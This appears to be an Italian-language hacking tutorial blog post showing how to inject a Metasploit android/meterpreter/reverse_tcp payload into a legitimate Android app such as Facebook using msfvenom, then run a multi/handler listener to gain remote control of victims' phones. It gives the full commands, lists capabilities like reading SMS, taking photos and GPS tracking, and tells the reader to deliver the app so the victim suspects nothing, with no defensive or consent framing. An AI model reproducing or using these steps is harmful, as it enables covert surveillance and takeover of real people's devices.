Benvenuti in un nuovo episodio di Hacking!
In questo episodio, vedremo come e quanto sia facile inserire un cosiddetto "Payload" in un'applicazione per Android.
Cos'è un payload? E' in sostanza un pezzo di codice che, inserito in una banalissima app come Facebook, la fa diventare malevola, a tal punto da farci prendere il controllo completo del dispositivo vittima. Un esempio? Con un app infettata al nostro servizio, potremo estrarre SMS, fare foto, vedere quello che l'utente sta visualizzando sullo schermo, localizzarlo via GPS, fare chiamate e inviare SMS dal dispositivo vittima e molto altro.
Ma vediamo come fare!
Innanzitutto, scarichiamo l'apk dell'applicazione che vogliamo infettare. Poi, rinominiamolo con un nome corto, in modo da poterlo scrivere comodamente sul terminale in seguito. Ora quello che dovremmo fare è decompilare l'applicazione, leggere il codice, vedere dove si potrebbe agganciare un payload (ovviamente non possiamo metterlo a casaccio dove vogliamo), aggiungere tutti i permessi del caso e infine ricompilare l'applicazione. Un lavoro che richiederebbe ore anche a Mr. Robot, insomma.
Fortunatamente, ci arriva in soccorso Metasploit, un programma già installato in Kali. Prima di fare qualsiasi cosa però, verifichiamo di aver installato i pacchetti metasploit, apktool e zipalign. Apriamo quindi un terminale, e digitiamo questo comando:
msfvenom -x apporiginale.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.x LPORT=4444 -o appinfettata.apk
Analizziamo i vari parametri:
- msfvenom: il nome del programma principale, metasploit
- -x apporiginale.apk: il percorso dell'apk che abbiamo scaricato prima
- -p android/meterpreter/reverse_tcp: il payload da inserire. Può essere uno scritto da noi o, più comodamente, uno già presente in Metasploit.
- LHOST=192.168.1.x: l'indirizzo IP al quale l'app infettata si connetterà. Può essere un indirizzo locale come un indirizzo esterno.
- LPORT=4444: la porta da utilizzare. Quella di default è proprio la 4444.
- -o appinfettata.apk: il percorso dove andremo a salvare l'applicazione ricompilata, contenente il payload.
Ovviamente, maggiore è il peso della nostra app, maggiore sarà il tempo impiegato per eseguire il tutto.
Bene, una volta finito di ricompilare, possiamo pensare a come inviarlo e farlo installare alla vittima, dato che non deve sospettare di nulla. Fatto anche questo? Bene, passiamo al lato oscuro.
Apriamo nuovamente il terminale, stavolta digitando msfconsole
, e si aprirà la console di Metasploit (non l'avreste mai detto, eh?). Ora, diamogli il comando use exploit/multi/handler
, poi scriviamo set LHOST
seguito dall'indirizzo IP che abbiamo messo prima; successivamente usiamo set RPORT 4444
. E, per ultimo, diciamogli che payload utilizzare, con set payload
seguito dal nome usato prima.
Arrivati a questo punto, siamo pronti per lanciare il vero e proprio exploit, con il comando exploit
.
Partirà un handler che si metterà a cercare tutti i dispositivi che hanno installato la nostra app infettata, e una volta che troverà dispositivi ci dirà nel terminale quante sessioni sono state aperte.
Da qui in poi potrete lanciare vari comandi per far fare quello che volete al dispositivo vittima. Buon divertimento!